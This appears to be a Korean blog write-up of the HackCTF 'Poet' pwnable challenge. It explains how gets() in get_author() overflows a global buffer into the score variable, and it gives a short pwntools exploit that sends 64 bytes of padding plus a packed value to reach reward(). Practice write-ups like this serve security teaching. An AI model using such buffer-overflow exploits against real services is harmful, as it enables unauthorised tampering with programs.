tmxklab

[HackCTF/Pwnable] Poet 본문

War Game/HackCTF

[HackCTF/Pwnable] Poet

tmxk4221 2020. 2. 22. 00:19

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3012

 

1) 접속

시의 내용과 저자를 입력 값으로 받으면 나의 점수를 출력해주고 다시 무한 루프를 도는 프로그램

 

2) IDA를 통해 확인

 

2-1) IDA(Pseudocode)확인 - main()

get_poem(), get_author(), rate_poem()가 실행되고 점수를 저장하는 dword_6024E0의 값이 1,000,000점을 만족하면 무한 루프를 종료하고 reward()를 실행

 

2-2) IDA(Pseudocode)확인 - get_author()

gets()를 통해 입력 값(시의 저자)을 받고 종료

 

2-3) IDA(Pseudocode)확인 - get_poem() 

gets()를 통해 입력 값(시의 내용)을 받아 result변수에 저장

 

2-4) IDA(Pseudocode)확인 - rate_poem()

인자 값으로 받은 v3변수의 문자열에서 strcmp()를 통해 나열된 문자열과 비교하여 같으면 점수를 100점 추가하는 함수

 

2-5) IDA(Pseudocode)확인 - reward()

flag.txt의 내용을 출력해주는 함수

 

3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인

 


2. 접근방법

1) 점수를 저장하는 변수 확인

main함수의 if문에서 dword_6024E0변수와 값을 비교하는 것으로 보아 해당 변수가 점수를 저장하는 변수임

 

dword_6024E0은 bss영역에 존재하므로 전역 변수임을 확인

 

2) get_author()

get_author()부분에서 gets()를 사용하는데 이 때, unk_60240A0변수에 저장

 

확인 결과 해당 변수도 bss영역에 존재하고 있다!!

따라서, 점수를 저장하는 변수와 시의 저자를 입력받는 벼수와 거리가 0x40, 즉 64bytes만큼 차이가 난다.

 

2) 결론

  • get_author()는 gets()를 통해 입력 값을 받으며 bof를 수행할 수 있다.
  • 따라서, 시의 저자를 저장하는 변수와 64bytes차이나고 점수를 저장하는 변수의 값을 조작할 수 있다.

3. 풀이

1) 공격코드 작성

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3012)


p.recvuntil("> ")
p.sendline("hi")

p.recvuntil("> ")
payload = "A"*64
payload += p64(1000000)
p.sendline(payload)

p.interactive()

 

2) 공격 실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Random Key  (0) 2020.02.23
[HackCTF/Pwnable] 1996  (0) 2020.02.23
[HackCTF/Pwnable] g++ pwn  (0) 2020.02.22
[HackCTF/Pwnable] RTL_World  (0) 2020.02.22
[HackCTF/Pwnable] Yes or no  (0) 2020.02.22
Comments